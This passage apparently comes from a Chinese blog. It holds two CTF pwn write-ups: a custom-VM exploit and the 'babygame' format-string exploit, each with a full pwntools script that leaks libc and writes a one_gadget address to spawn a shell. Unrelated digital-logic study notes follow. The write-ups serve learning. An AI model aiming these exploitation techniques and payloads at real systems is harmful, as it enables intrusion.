.text:0000000000001244                 mov     eax, [rbp+var_C]
.text:0000000000001247                 shl     eax, 18h
.text:000000000000124A                 or      eax, edx

上面这一段汇编是read_cmd里面的，主要功能就是从输入的指令中读取4字节后将这4字节高位变低位，低位变高位（从小端序到大端序的转换）。在read_cmd返回后，eax中存放的就是读取到的指令。读取指令后返回到main函数中，一开始看到main函数下面有很多没有解析的部分，将其手动转为汇编代码，发现有很多跳转指令，那么基本可以判断出，下面就是解析并执行指令的部分了。跳转指令应该是在判断指令的类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

.text:000000000000135E                 mov     eax, 0
.text:0000000000001363                 call    read_cmd
.text:0000000000001368                 mov     [rbp+var_23C], eax
.text:000000000000136E                 mov     eax, [rbp+var_23C]
.text:0000000000001374                 shr     eax, 18h
.text:0000000000001377                 mov     [rbp+var_240], ax
.text:000000000000137E                 mov     eax, [rbp+var_23C]
.text:0000000000001384                 sar     eax, 10h
.text:0000000000001387                 mov     [rbp+var_249], al
.text:000000000000138D                 mov     eax, [rbp+var_23C]
.text:0000000000001393                 sar     ax, 8
.text:0000000000001397                 mov     [rbp+var_248], al
.text:000000000000139D                 mov     eax, [rbp+var_23C]
.text:00000000000013A3                 mov     [rbp+var_247], al
.text:00000000000013A9                 mov     eax, [rbp+var_23C]
.text:00000000000013AF                 mov     [rbp+var_23E], ax

在调用read_cmd函数之后，main函数将指令的不同位保存到栈中不同的位置，但这些位置基本上相邻。

下图为栈中保存的指令值情况（假设读取的指令为0x76543210）

之后判断原输入的最低位是否大于0xF，如果大于则跳过该指令。这说明这个虚拟机中的指令码只可能有0x0~0xF最多16种。我们修改一下输入，然后接着跟着执行流一步一步走。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

.rodata:000000000000206C dword_206C      dd 0FFFFF38Bh           ; DATA XREF: main+134↑o
.rodata:000000000000206C                                         ; main+140↑o
.rodata:0000000000002070                 dd 0FFFFF399h
.rodata:0000000000002074                 dd 0FFFFF3D2h
.rodata:0000000000002078                 dd 0FFFFF460h
.rodata:000000000000207C                 dd 0FFFFF4F0h
.rodata:0000000000002080                 dd 0FFFFF57Eh
.rodata:0000000000002084                 dd 0FFFFF60Ch
.rodata:0000000000002088                 dd 0FFFFF686h
.rodata:000000000000208C                 dd 0FFFFF714h
.rodata:0000000000002090                 dd 0FFFFF735h
.rodata:0000000000002094                 dd 0FFFFF7A7h
.rodata:0000000000002098                 dd 0FFFFF80Ah
.rodata:000000000000209C                 dd 0FFFFF839h
.rodata:00000000000020A0                 dd 0FFFFF8B4h
.rodata:00000000000020A4                 dd 0FFFFF940h
.rodata:00000000000020A8                 dd 0FFFFF994h

接下来，程序提到了rodata中的这个地方，这里发现这个未知数据的长度为64字节，正好是16*4，每一个4字节对应一条指令，但具体含义尚不清楚。

1
2
3
4
5
6
7
8

.text:00000000000013D6                 lea     rdx, ds:0[rax*4]
.text:00000000000013DE                 lea     rax, dword_206C
.text:00000000000013E5                 mov     eax, [rdx+rax]
.text:00000000000013E8                 cdqe
.text:00000000000013EA                 lea     rdx, dword_206C
.text:00000000000013F1                 add     rax, rdx
.text:00000000000013F4                 db      3Eh
.text:00000000000013F4                 jmp     rax

往下看不远处，我们就知道这个64字节数据是用来干嘛的了。它起始就是一个地址的偏移量，将对应指令的偏移量加上rodata的地址值，得到的就是指令对应的执行部分的地址。将其重命名为exec_offset。

…

经过亿段时间的分析之后，我大概搞清楚了其中一些指令的含义。

在这个虚拟机中一共有6个word类型的寄存器，这6个寄存器通过偏移获取。在这16种指令中有加减乘除、与或异或等算数指令，这些指令需要3个操作数。格式为：（下面所有格式均为高地址到低地址，在写入时需要调换一下顺序）

指令码: 2, 功能: 加法, 格式: op1 op2 op3 0x2——reg(op3) = reg(op1) + reg(op2)
指令码: 3, 功能: 减法, 格式: op1 op2 op3 0x3——reg(op3) = reg(op2) - reg(op1)
指令码: 4, 功能: 按位与, 格式: op1 op2 op3 0x4——reg(op3) = reg(op2) & reg(op1)
指令码: 5, 功能: 按位或, 格式: op1 op2 op3 0x5——reg(op3)= reg(op2) | reg(op1)
指令码: 6, 功能: 右移, 格式: op1 op2 op3 0x6——reg(op3) = reg(op3) >> reg(op2)
指令码: 7, 功能: 按位异或, 格式: op1 op2 op3 0x7——reg(op3) = reg(op1) ^ reg(op2)
指令码: 13, 功能: 乘法, 格式: op1 op2 op3 0xD——reg(op3) = reg(op1) * reg(op2) 【注意这里没有检查op2的范围，是一个漏洞】

除此之外，还有一些其他类型的指令，这里也列举一下。

指令码: 0, 功能: 退出, 格式: op1 op2 op3 0x0——exit()
指令码: 1, 功能: 赋值, 格式: op1 op2 op3 0x1——reg(op3) = op1 + op2 >> 8 (op1 = LOBYTE(op3), op2 = HIBYTE(op3))
指令码: 9, 功能: 入栈, 格式: op1 op2 op3 0x9——若op3 == 0则push (reg(0))，若op3 != 0则push (op1 + op2 >> 8) 【注意这里虽然有对栈是否满的检查，但是没有对op3大小的检查，可以push虚拟机空间之外的东西，是一个漏洞】
指令码: 10, 功能: 出栈, 格式: op1 op2 op3 0xA——reg(op3) = pop()【这里有对op3大小和栈是否为空的检查】
指令码: 12, 功能: 比较两个寄存器的值是否相等。因为返回相等的控制位没有被其他指令所引用，因此这里不做分析。
指令码: 14, 功能: 寄存器赋值, 格式: op1 op2 op3 0xE——reg(op2) = reg(op3)【注意这里没有检查op2是否为负数，是一个漏洞】
指令码: 15, 功能: 输出栈顶的值（这里指的是没有被占用的地方，也就是栈实际占用空间还往上一个字的值，这个字现在实际上并没有进入堆栈）

还有8和11的指令码没有分析，不过从官方wp上看这两个应该是无关紧要的，就暂且不管了。

然后我们需要整理一下思路，想想如何才能利用上面的漏洞getshell。

要想getshell，首先要拿到libc加载地址，通过这个加载地址得到one_gadget的地址，然后需要将one_gadget地址写入返回地址中。整个过程看似简单，但首先第一个问题：如何拿到libc加载地址？

注意到赋值操作中目的操作数是没有检查负数的情况的，经过IDA调试发现栈指针在寄存器的低地址处，我们可以让目的操作数为负进而指向栈指针，这样我们就可以用寄存器中的值去覆盖栈指针的值。栈指针是一个8字节结构，对应赋值的偏移应为0xF6、0xF7、0xF8、0xF9，我们将0xF6偏移位置覆盖为0x8000即可让栈指针变为负数。在输出值（指令码0xF）时，这个最高位的0x8000会溢出，从而我们可以读取寄存器后面任何一个位置的地址。经过试验发现，栈指针为0x10C时对应main返回地址最低字，即__libc_start_main+243。我们读取0x10C、0x10D、0x10E三个字的值就可以完全掌握libc的加载地址了。注意这里读取不用0xF指令，因为它只有输出功能，等脚本读到输出之后你的小程序早就执行完了。因此这里使用pop指令，它只会检查栈指针是否为0，因此可以绕过。

在pop之后，我们获得了libc的加载地址，这里需要进行一些计算来获得one_gadget的地址。然后我们将其push到返回地址处就可以了。这里需要注意的是，由于每一个寄存器只有2字节长度，因此返回地址需要用3个寄存器存储，在计算的时候会忽略向高位的借位，因此可能在计算时出错，但这是一个小概率事件，大约有1/4的概率会失败。

1
2
3
4
5
6
7

.text:00005607BDE667A1 case_9:                                 ; *** code: 9
.text:00005607BDE667A1 mov     rax, [rbp+var_230]              ;     function: if var_230(?) <= 100h then exit
.text:00005607BDE667A1                                         ;               else then ???
.text:00005607BDE667A8 cmp     rax, 100h
.text:00005607BDE667AE jle     short loc_5607BDE667BA
.text:00005607BDE667B0 mov     edi, 0                          ; status
.text:00005607BDE667B5 call    _exit

请注意上面的代码片段，这是检查栈指针是否大于100。但是跳转是jle，这表示它是有符号的比较。那也就是说如果栈指针是一个负数，如果看做无符号数的话是一个很大的数，但也能通过检查，这就为我们写入返回地址创造了条件。

因此，大致的步骤就是：

Step 1: 修改栈指针到返回地址处
Step 2: 读取返回地址
Step 3: 计算one_gadget地址
Step 4: 写入返回地址
Step 5: getshell

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94

from pwn import *

io = process('./mva')
Libc_libc_start_main = 0x23FC0
Libc_one_gadget = 0xE3B31

def get_command(code, op1, op2, op3):
	return p8(code) + p8(op1) + p8(op2) + p8(op3)

def movl(reg, value):
	return get_command(1, reg, value >> 8, value & 0xFF)

def add(dest, add1, add2):
	return get_command(2, dest, add1, add2)

def sub(dest, subee, suber):
	return get_command(3, dest, subee, suber)

def band(dest, and1, and2):
	return get_command(4, dest, and1, and2)

def bor(dest, or1, or2):
	return get_command(5, dest, or1, or2)

def sar(dest, off):
	return get_command(6, dest, off, 0)

def bxor(dest, xor1, xor2):
	return get_command(7, dest, xor1, xor2)

def push(reg, value):
	if reg == 0:
		return get_command(9, reg, 0, 0)
	else:
		return get_command(9, reg, value >> 8, value & 0xFF)

def pop(reg):
	return get_command(10, reg, 0, 0)

def imul(dest, imul1, imul2):
	return get_command(13, dest, imul1, imul2)

def mov(src, dest):
	return get_command(14, src, dest, 0)

def print_top():
	return get_command(15, 0, 0, 0)

# Step 1: get __libc_start_main + 243

payload = b''
payload += movl(0, 0x8000)
payload += mov(0, 0xF9)			# bypass the check by making it nagative

payload += movl(0, 0x010F)
payload += mov(0, 0xF6)
payload += pop(0)				# HIGH WORD of __libc_start_main
payload += pop(1)				# MIDDLE WORD of __libc_start_main
payload += pop(2)				# LOW WORD of __libc_start_main

payload += movl(3, 243)
payload += sub(2, 2, 3)			# this step may fail due to the ignorance of borrowed bit, but in 1/16 to fail
# __libc_start_main got

payload += movl(3, 0x3FC0)		# this step may also fail due to same reason, 1/4 to fail until now
payload += sub(2, 2, 3)
payload += movl(3, 0x2)
payload += sub(1, 1, 3)
# libc load address got

payload += movl(3, 0x3B31)
payload += add(2, 2, 3)
payload += movl(3, 0xE)
payload += add(1, 1, 3)
# one_gadget address got

payload += mov(0, 3)
payload += mov(2, 0)
payload += push(0, 0)
payload += mov(1, 0)
payload += push(0, 0)
payload += mov(3, 0)
payload += push(0, 0)
# write one_gadget address to return_addr

payload = payload.ljust(0x100, b'\x00')
payload += b'\n'

# for c in payload:
# 	print('%02x' % c, end=' ')

io.sendlineafter(b'[+] Welcome to MVA, input your code now :', payload)

io.interactive()

当shell拿到之后，我们发现这种题目其实并不难，只要计算一下地址然后写入就行了。就是分析代码比较麻烦，需要明确每一种指令分别代表什么含义，找到里面的漏洞进而思考如何getshell。从这道题可以看出，vm-pwn题中最为致命的就是堆栈检查不严格，可能会产生任意地址读写漏洞，还有整型溢出问题也值得关注。

这应该是今年虎符的pwn题里面最简单的一道题了。首先要过的关就是随机数。

源文件：my_github

在main函数输入姓名时有一个溢出，可以溢出到种子那里将种子修改。这样后面的结果就不会变了。用C语言写一个程序跑一下出结果。如下为脚本片段：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

io.sendlineafter(b'Please input your name:', b'1234567890' * 26 + b'aaaaa')

srand = 0x30393837

answer = [1, 2, 2, 1, 1, 1, 1, 2, 0, 0,
		  2, 2, 2, 1, 1, 1, 2, 0, 1, 0,
		  0, 0, 0, 1, 0, 1, 1, 2, 2, 1,
		  2, 2, 2, 1, 1, 0, 1, 2, 1, 2,
		  1, 0, 1, 2, 1, 2, 0, 0, 1, 1, 
		  2, 0, 1, 2, 1, 1, 2, 0, 2, 1, 
		  0, 2, 2, 2, 2, 0, 2, 1, 1, 0, 
		  2, 1, 1, 2, 0, 2, 0, 1, 1, 2, 
		  1, 1, 1, 2, 2, 0, 0, 2, 2, 2, 
		  2, 2, 0, 1, 0, 0, 1, 2, 0, 2]

for i in range(100):
	try:
		io.sendlineafter(b'round', str(answer[i]).encode())
	except EOFError:
		print("Failed in " + str(i))
		exit(0)

注意这里为什么输入name时要输入这个，我们将0x30393837作为种子，之后的部分用于填充栈内容，在b’aaaa’之后实际上就是canary了，我们之后不准备返回到这个位置，因此这个canary可以覆盖。覆盖之后程序输出时会将canary剩下的内容连带着后面的rbp一同输出，这样我们就能够获取栈的地址了。

在这之后会进入一个函数（以下称为vuln函数），里面有一个格式化字符串漏洞。

我们使用的libc版本与题目的版本相同，均为2.31。可以看到main函数的返回地址为__libc_start_main+243，我们可以使用格式化字符串漏洞将这个地址泄露出来。但是这里由于只有一个printf，在泄露之后还需要进行其他操作才有可能getshell，因此还需要将函数的返回地址修改一下。从IDA可以看到vuln函数的返回地址为0x1543，需要将其修改，如果能够再次进入vuln函数是最好。但是vuln函数的起始地址为0x13FB，如果将返回地址直接修改为vuln函数的起始地址，意味着我们需要修改返回地址最后两个字节。这就又会造成一个问题：倒数第二个字节的高4位无法确定。由页对齐我们可以修改最低12位，但同时这样修改会附带修改往上4位。这里成功率仅为1/16。理论上可以实现，但是还有没有更好的办法了呢？

1
2
3
4
5
6

.text:0000000000001539                 mov     eax, 0
.text:000000000000153E                 call    vuln
.text:0000000000001543
.text:0000000000001543 loc_1543:                               ; CODE XREF: main+D2↑j
.text:0000000000001543                 mov     eax, 0
.text:0000000000001548                 mov     rcx, [rbp+var_18]

答案当然是肯定的。我们不一定非得把返回地址改成vuln的起始地址，改成调用vuln函数的地址不也行吗，刚好上面就是调用call指令，我们只需要修改最低1字节为3E就可以返回到153E，然后直接call再次进入。这样的话，字符串的前面一部分就是%62c%8$hhn，后面跟%79$p或%79$llx获取到__libc_start_main+243的地址和返回地址指针。这是第一轮格式化字符串漏洞注入。为了确保对齐，在’%79$p’前面加上一个’a’。

1
2

io.sendlineafter(b'Good luck to you.', 
	b'%62c%8$hhna%79$p' + p64(stack_addr - 0x218))

注入之后，程序会返回libc的偏移地址。

然后我们进行第二次格式化字符串注入。通过gdb调试知道第二次注入和第一次注入时返回地址所在的位置是一样的。我们就可以套用这个地址。

使用one_gadget工具获取到这个版本中一共有3个one_gadget：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

0xe3b2e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b31 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b34 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

我们逐一尝试。

我一开始使用LibcSearcher查偏移，发现都不行，用ELF.symbols直接解析本机libc文件就可以。

payload：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'

io = process('./babygame')

io.sendlineafter(b'Please input your name:', b'1234567890' * 26 + b'aaaaa')

io.recvuntil(b'Hello, ')

io.recv(260 + 12)

stack_addr = u64(io.recv(6) + b'\x00\x00')

srand = 0x30393837

answer = [1, 2, 2, 1, 1, 1, 1, 2, 0, 0,
		  2, 2, 2, 1, 1, 1, 2, 0, 1, 0,
		  0, 0, 0, 1, 0, 1, 1, 2, 2, 1,
		  2, 2, 2, 1, 1, 0, 1, 2, 1, 2,
		  1, 0, 1, 2, 1, 2, 0, 0, 1, 1, 
		  2, 0, 1, 2, 1, 1, 2, 0, 2, 1, 
		  0, 2, 2, 2, 2, 0, 2, 1, 1, 0, 
		  2, 1, 1, 2, 0, 2, 0, 1, 1, 2, 
		  1, 1, 1, 2, 2, 0, 0, 2, 2, 2, 
		  2, 2, 0, 1, 0, 0, 1, 2, 0, 2]

for i in range(100):
	try:
		io.sendlineafter(b'round', str(answer[i]).encode())
	except EOFError:
		print("Failed in " + str(i))
		exit(0)

# gdb.attach(io)

io.sendlineafter(b'Good luck to you.', 
	b'%62c%8$hhna%79$p' + p64(stack_addr - 0x218))

io.recvuntil(b'0x')
libc_addr = int(io.recv(12).decode(), 16)
print(hex(libc_addr))

libc_addr -= 243

# Libc = LibcSearcher('__libc_start_main', libc_addr)
Libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
# base = libc_addr - Libc.dump('__libc_start_main')
base = libc_addr - Libc.symbols['__libc_start_main']
libc_system_addr = Libc.symbols['system']
mem_system_addr = base + libc_system_addr

print(hex(stack_addr - 0x218))
# gdb.attach(io)

one_gadget = [0xE3B2E + base, 0xE3B31 + base, 0xE3B34 + base]

payload = fmtstr_payload(6, {stack_addr - 0x218: one_gadget[1]})
io.sendlineafter(b'Good luck to you.', payload)

io.interactive()

这道题看似简单，实际上细节还是比较多的。如果做题做的不多的话很容易在一些地方就卡住了。因此后面还是多做题为妙。

1. 卡诺图中m/M编号对应错误
   在画卡诺图时，有时没有注意到行和列的变量顺序，可能会导致m/M的序号从0遍历到15时，在卡诺图中的路径不同。如对于输入ABCD，将AB作为列，CD作为行，此时卡诺图中16块对应的m编号应如下表所示：

为了避免因遍历次序不同导致的错误，使遍历时统一按照大体上逐行读取的顺序（如下表），画卡诺图时应将前面2个变量置于行，后面2个变量至于列，左上角的块中应该写的是AB\CD。（不过如果卡诺图出在选项里面就不一定是这个顺序了，所以还是要注意）

2. 8421码、2421码、余三码转2、8、10、16进制
   三种码实际上均是10进制的表示形式，因此如果要转换为除10进制以外的形式，必须首先将其化为十进制数再进行进制转换，切忌转换后不化成十进制直接转换为其他进制。
   如将余三码10001100转为2进制，1000还原为8421码是0101，1100还原为8421码是1001，2进制值不是01011001！十进制为59，故二进制应为111011。

3. 使用卡诺图化简函数表达式
   有时化简表达式很容易出现变量冗余的情况。为避免这种问题产生，在卡诺图中应首先标出1部分中所有的仅含1个变量的蕴含项，标完后写入表达式。如果此时还有没包含的“1”块，则继续寻找所有仅含2个变量的蕴含项，如此进行下去。在验证检查时，可以尝试反向检查，即画出“0”块的表达式，取反看看原运算结果是否正确。

4. 各类触发器激励函数与约束方程
   在考试前，针对各类触发器的激励函数与约束方程应该背熟，这是设计题的一个基础知识。虽然说通过推导也能推导出来，但耗费时间且不保证推导正确。
   基本R-S触发器：
   与非门构建的R-S触发器：$Q^{n+1}=\bar S+RQ$，约束方程：$R+S=1$（RS不同看R）
   或非门构建的R-S触发器：$Q^{n+1}=S+\bar RQ$，约束方程：$RS=0$（RS不同看S）
   由于没有时钟信号的控制，其信号控制相当于是异步的
   钟控触发器：
   R-S触发器：$Q^{n+1}=S+\bar RQ$（RS不同看S）
   D触发器：$Q^{n+1}=D$（只看D）
   J-K触发器：$Q^{n+1}=J\bar Q+\bar KQ$（JK不同看J）
   T触发器：$Q^{n+1}=T\bar Q+\bar TQ$（只看T）
   实际上上面的公式也有记忆的方法。
   由于有时钟信号的控制，对于主从触发器，当且仅当时钟信号处于下降沿时才会触发触发器，读取输入并根据输入修改状态。但是阻塞D触发器是当且仅当时钟信号处于上升沿时才会触发触发器改变状态。（分析与设计题中一般不会考虑空翻现象，因此在这两种题型中默认使用的都是主从触发器）

5. 只有反码在计算减法时需要对结果的最低位进行调整。例如计算3-2，假设反码共4位，那么-2的反码应该是1101。0011+1101=10000，结果显然不对，需要将溢出的1加到最低位变为0001。如果计算6-7，则应为0110+1000=1110，此时结果正确，因为没有溢出。这也是反码加减法的计算方法：如果有溢出则将溢出的1加到最低位，没有则直接得到结果。原码的加减法直接计算更为复杂。反码和补码能将减法转换为加法，但是原码不行。

6. 同时有一个变量的正反形式的表达式不一定会存在险象，还是看卡诺图最为保险！
   探究：如何仅通过卡诺图判断一个险象是“0”型还是“1”型险象、是什么变量产生险象?
   回顾一下，“0”型险象是A+~A产生的，“1”型险象是A· ~A产生的，记忆很简单，A+ ~A本来应该是1，险象就说明有错误，那就是产生0嘛。注意：0险象仅产生于使用含与或表达式的函数表达式构建的电路中，1险象仅产生于使用含或与表达式的函数表达式构建的电路中。如果电路完全按照与或表达式构建，则只可能产生“0”险象；如果电路完全按照或与表达式构建，则只可能产生“1”险象。
   看个例子：$F=A\overline BC+BCD$
   卡诺图如下：
   
   显然这个例子中产生险象的是B，从图中何以见得？当ACD均为1时，相切处的两边正好就是B取0和1的值，均为1但会产生“0”险象。因此判断方法就是：看相切两边哪个变量的取值不一样，就是哪一个变量产生的险象。
   对于“1”险象，看书上例子：$(A+B)(\overline A+C)$：
   
   相切处A变量不同，故A变量会产生“1”险象。
   如果是混合的表达式：如$(A+B)(AC+\overline CD)+BC\overline D$这种，上面的方法虽然还能用，但容易错，因此建议使用传统方法，即配凑出原变量和反变量的和或积，反而更加方便。而且在要求设计电路的题目中并不会这样要求，要么是与或，要么是或与，由于设计题中需要画出卡诺图，因此通过上述方法无需进行配凑。出现混合表达式一般都是要求直接判断，画卡诺图反而费时间了。

7. 主从J-K触发器有输入限制条件： 课本第89页指出在时钟信号作用期间J和K禁止发生变化，否则可能会产生错误信号输出（脉冲信号干扰产生的“一次翻转现象”），具体详见课本。

8. 做含有触发器的题目时要注意时钟信号的输入有没有取反。所有的触发器在时钟信号为1时才会触发，因此如果直接将时钟信号输入触发器，则触发器应该是在时钟信号上升沿开始工作；而如果输入反变量，则应该是在下降沿开始工作。（分析题和设计题中一般不考虑一个时钟信号内有多个输入信号变化的情况，因此上升沿和下降沿一般被认为是输入信号作用的唯一时刻，所以要分清楚）

9. 存在触发器并不是同步时序逻辑电路的必要条件，也不是充分条件（同步时序逻辑电路中的触发器必须要有钟控触发器，不能全是基本触发器）！

10. Moore型电路和Mealy型电路关于输出的区别在于：当时钟信号为无效时，Moore型电路由于输出不受输入的影响，可以保持当前状态的稳定输出；而Mealy型电路则可能会由于这段时间输入的变化而导致输出产生变化，不过这个时间段的触发器状态绝对不会改变。当时钟信号为有效时，Moore型电路的输入能够直接改变触发器的状态，在一个有效的时钟周期之内这种状态改变可能会多次产生（不考虑主从触发器），Mealy型电路也是如此。

11. 芯片编号与功能汇总：
    74283：4位并行加法器
    74138：3-8线译码器
    7442：二-十进制译码器
    7448：七段显示译码器（用于数码管显示数字）
    74147：十进制-BCD码编码器
    74148：优先编码器（8-3线）
    74153：多路选择器MUX（双4路）
    74152、74151：多路选择器（8路，74152无使能端）
    74150：多路选择器（16路）
    74193：4位二进制同步可逆计数器
    74290：异步计数器（二-五-十进制加法计数器）
    74194：集成4位双向移位寄存器

12. 画时间图时务必需要注意：
    (1) 是否是边沿触发器（一般CLK输入以△注明，如果给出了触发器内部的电路图，发现是普通钟控触发器，就需要考虑空翻现象）
    (2) 上升沿触发还是下降沿触发（如果输入有圆圈，即取反操作，则为下降沿触发，直接输入则为上升沿触发）
    (3) 如果明确为主从触发器，对于JK主从触发器需要考虑是否存在一次空翻现象，因此需要将JK主从触发器的主和从触发器的状态均画出
    (4) 垂直的虚线一定要画，但不要画的太重太粗以影响审题

13. 各种图表
    在时序逻辑和组合逻辑电路的分析和设计中经常需要画图画表，各种表的名字很像，稍有不慎就会画成另外一种表，需要格外注意分清。
    真值表：在组合逻辑电路中指列出所有输入情况与对应的输出的表格，包含表项有：所有输入与所有输出
    原始状态表：同步时序逻辑电路设计中根据功能需要而列出的状态表，没有进行状态化简，所有状态均以字母表示。
    最小化状态表：同步时序逻辑电路设计中由原始状态表化简得来的状态表，含实现特定功能电路所需的最少状态与转换关系。
    状态表：在时序逻辑电路中指列出所有不同现态、不同输入与对应的输出的表格，包含表项有：所有触发器状态变量对应的现态（分析时由于电路已知，现态使用二进制码表示，设计时需要用字母表示）、所有输入情况x（设输入变量个数为n，在同步时序逻辑电路中，输入情况的种类数量应为2ⁿ，在异步时序逻辑电路中，输入情况的种类数应为n，因为异步时序不允许同时两个变量输入）、次态与输出（Moore型次态和输出分别列出，Mealy型次态和输出一起列出）
    隐含表：同步时序逻辑电路设计中为化简原始状态表而画出的三角形表格，左边一列应该从第二个状态写到最后一个状态，下边一行应该从第一个状态写到倒数第二个状态。
    次态真值表：在时序逻辑电路中指列出所有输入与现态对应的激励函数与次态的表格，包含表项有：输入与现态的所有组合形式、所有激励函数、次态。在异步时序逻辑电路中激励函数不止包含JK/RS/D/T，还包含时钟信号，↓表示下降沿信号，↑表示上升沿信号。
    激励函数与输出函数真值表：在时序逻辑电路中指列出所有输入与现态对应的激励函数与输出的表格，包含表项有：输入与现态的所有组合形式、所有激励函数、所有输出函数。此表有时也会将次态与状态跳变（见于异步时序）列出，这样能够反映出该同步时序逻辑电路的所有状态的所有情况。
    激励表：反映某种触发器从现态到次态转换与输入的关系，包含表项有：所有现态与次态的组合形式（共4种，0→0,0→1,1→0,1→1），对应的输入值（JK/RS/T/D），特定触发器的激励表固定不变。在异步时序逻辑电路中，激励表还应加上时钟端信号。
    功能表：反映某种触发器所有输入对应的次态，包含表项有：所有输入的组合形式、对应的次态。与激励表不同的是，功能表反映当输入为多少时次态会变成什么，而激励表反映触发器从某种现态转换到某种次态时可能的输入有哪些。

14. 各种函数表达式
    输出函数表达式：描述输出的函数表达式。自变量：现态、输入；因变量：输出
    激励函数表达式（又称驱动函数表达式、驱动方程表达式）：描述存储电路输入与电路输入和状态之间的关系。自变量：输入、现态；因变量：存储电路输入（JK/RS/T/D）
    次态函数表达式：描述次态与激励函数和现态的关系。自变量：现态、激励函数；因变量：次态
    状态方程表达式（又称次态方程表达式）：描述次态与现态、输入之间的关系。自变量：现态、输入；因变量：次态（通常由次态函数表达式转化而来）

15. 阵列逻辑图
    使用不同的PLD画阵列逻辑图需要注意固定的画点，可编程的画叉，不要画错了。PROM与阵列固定或阵列可变；PLA与阵列或阵列均可变；PAL、GAL与阵列可变或阵列固定

16. 常见的电路功能：
    模n计数（多为普通二进制码，也做过用格雷码计数的）、序列检测器（标志：有很多指向一个状态的情况）、序列发生器、n位全加器、n位全减器、n位比较器、不同码的转换等。如果通过状态表一时间看不出来是什么功能，可以尝试在输入固定的情况下追踪状态，状态图如果过于复杂也可以先画在草稿纸上，排布一下状态的位置，以让图更美观。

17. 状态编码
    3条状态编码的优先规则一定要理解。
    第一条相同输入、相同次态→现态相邻（看状态表次态中某一列中是否有相等的）
    第二条相同现态，相邻输入→次态相邻（看状态表中某一行所有相邻的两个次态[注意：状态表中次态大列中每一小列的顺序应该按照格雷码的顺序来写，即如果输入2位，则从左到右应依次为：00，01，11，10]）
    第三条任意输入，输出相同→现态相邻（看Moore状态表中输出列是否有相等的、看Mealy状态表中次态/输出的n小列中是否有输出完全相等的两行）

18. 乘法的电路设计
    一般设计某两个数乘法都需要用到4位加法器。在加法器数量有限的情况下，如何使用最少的加法器完成功能？对于二进制乘法，可以将其转换为加法计算。如4位二进制数的乘法，输出最多8位。通过列竖式可以求出每一位的值，同时可以发现4位二进制数的乘法实际上就是4个二进制数的加法。假设两个4位二进制数为$a_3a_2a_1a_0,b_3b_2b_1b_0$，则最低位$c_0=a_0b_0$直接与即可输出无需占用加法器资源。在加的时候要注意进位的输出。

19. 数电实验
    在数电实验码表控制器模块，状态对应输出有5个，分别解释意义：
    DP-SEL：码表显示选择器，其为1时显示当前计时，为0显示最好纪录
    SD-EN：寄存器使能端，当需要更新最好纪录时置为高电平
    SD-SEL：选择输入，第一次记录纪录时为1
    TM-EN：计数器使能端，计时时为1，停止时为0
    TM-Reset：码表清零端，清零时为1，将记录和时间均清除

在电路设计中，最直观的方式是与或表达式，但有时这种方式所需的逻辑门电路较多。有时可以对其加以变形。在变形的过程中，通过画出卡诺图能够让我们更加直观地理解其中的变化过程。

1. 或与表达式

画出卡诺图，圈出0的部分，直接写出或与表达式。

例1

Step 1: 画出0部分的划分圈

红圈实际表示的是$\overline C * \overline D$，在或与表达式中写为$C + D$
绿圈实际表示的是$\overline A * \overline B$，在或与表达式中写为$A + B$
蓝圈实际表示的是$\overline A * C$，在或与表达式中写为$A + \overline C$

上述卡诺图对应的或与表达式就为：$(C+D)(A+B)(A+\overline C)$

2. 与非表达式

将与非表达式以电路的形式展现时，电路中只能有与非门这一种门电路。对于每一个与非表达式，其最外面一定是一个非，在非的下面是多个与非表达式的与。这些与非表达式相与的结果应该对应卡诺图中0的部分，也即这里面任何一个与非表达式都应该包含0的所有部分。也即这里面任何一个与非表达式中非下面的部分都不应该包含0的任何部分。这样我们就转化成对1的部分进行分片的操作了。

例2

卡诺图与例1相同，可以将1分为以下3块。

红圈实际表示的是$A * C$，在与非表达式中写为 $\overline{A * C}$
绿圈实际表示的是$B * \overline C * D$，在与非表达式中写为$\overline {B * \overline C * D}$
蓝圈实际表示的是$A * D$，在与非表达式中写为$\overline {A * D}$

上述卡诺图对应的与非表达式就为：$\overline {\overline {A * C} * \overline {B * \overline C * D} * \overline {A * D}}$。它实际上可以由与或表达式加两条杠转化而成，因此根据卡诺图求与非表达式实际上就是求与或表达式，非常方便。

如果要求出花费与非门最少的表达式，则需要关注0部分，为0部分画卡诺圈，这些圈都可以作为共同项写入每一个与非项中。如上例中可以写成$\overline{\overline{\overline{CD}\cdot\overline{A\overline C}A}\cdot\overline{\overline{CD}\cdot\overline{A\overline C}B}}$，这样需要5个与非门，与例2中需要的与非门数量相同。

3. 或非表达式

使用与非表达式同样的方法进行分析：或非表达式的总的非下面有很多或非表达式的或，他们的或对应所有0的部分。因此其中每一个或非表达式都不能包含任何1的部分，也即其中每一个或非表达式中非的下面都应该包含所有1的部分。这样看来，或非表达式实际上是或与表达式加两条杠转化而来。

例3

卡诺图与例1相同，划分也与例1相同。

红圈实际表示的是$\overline C * \overline D$，在或与表达式中写为$\overline {\overline C + \overline D}$
绿圈实际表示的是$\overline A * \overline B$，在或与表达式中写为$\overline {\overline A + \overline B}$
蓝圈实际表示的是$\overline A * C$，在或与表达式中写为$\overline {\overline A + C}$

